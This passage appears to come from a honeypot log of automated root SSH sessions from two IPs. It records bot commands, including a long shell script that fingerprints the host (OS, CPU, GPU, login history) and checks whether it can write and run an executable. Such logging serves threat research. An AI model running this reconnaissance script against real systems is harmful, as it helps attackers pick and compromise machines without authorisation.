  "id": "2afa26a9-d2ca-49cb-aea9-1ed28bc25cd1",
  "name": "nautical-western-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 60146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:04:06.685307+00:00",
  "ended_at": "2026-08-25T02:04:07.287992+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9408cf2e-4715-409e-af7a-e2b0878771f1",
  "name": "crimson-whispering-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:03:51.198262+00:00",
  "ended_at": "2026-08-25T02:03:54.528026+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "213b4c0a-4f47-4604-a2d9-18562e9a8dfb",
  "name": "crystal-patient-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:03:43.798373+00:00",
  "ended_at": "2026-08-25T02:03:47.709416+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e404feaa-a3d7-457b-aed1-62d9d7742071",
  "name": "painted-wandering-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:03:23.000412+00:00",
  "ended_at": "2026-08-25T02:03:26.690939+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0176fe95-0dd9-4394-9190-78f0db806c79",
  "name": "velvet-vivid-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 58502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:03:18.661561+00:00",
  "ended_at": "2026-08-25T02:03:19.571125+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f6e66b4c-b16c-4369-a19c-02d8be59eb47",
  "name": "vigilant-obsidian-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 55860,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:03:15.390915+00:00",
  "ended_at": "2026-08-25T02:03:21.004705+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "222b4bba-95da-470b-9f50-f30312d31b98",
  "name": "valiant-quaint-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 56852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:02:32.270929+00:00",
  "ended_at": "2026-08-25T02:02:33.132506+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b01d43cf-ef35-4822-b323-b1b4ee6580e4",
  "name": "marbled-vernal-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 34454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:02:09.117309+00:00",
  "ended_at": "2026-08-25T02:02:14.796069+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "67ad2434-82d6-4c44-a586-78652faf6b7b",
  "name": "sullen-civil-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 55230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:01:45.874463+00:00",
  "ended_at": "2026-08-25T02:01:46.264682+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8e5bc274-a84b-4c43-816e-b049054e01b9",
  "name": "velvet-jovial-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 220,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:01:02.691642+00:00",
  "ended_at": "2026-08-25T02:01:08.001655+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2108e947-782f-4387-be31-5ac996c00095",
  "name": "shifting-bronzed-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 53590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:01:01.316525+00:00",
  "ended_at": "2026-08-25T02:01:02.166394+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f756d1ed-5b2f-409a-b181-92fd179527fd",
  "name": "civil-russet-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:00:40.208669+00:00",
  "ended_at": "2026-08-25T02:00:44.521454+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a90e6560-0a20-4152-bb0d-86b2cc7a9cb2",
  "name": "zealous-twilight-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 51978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 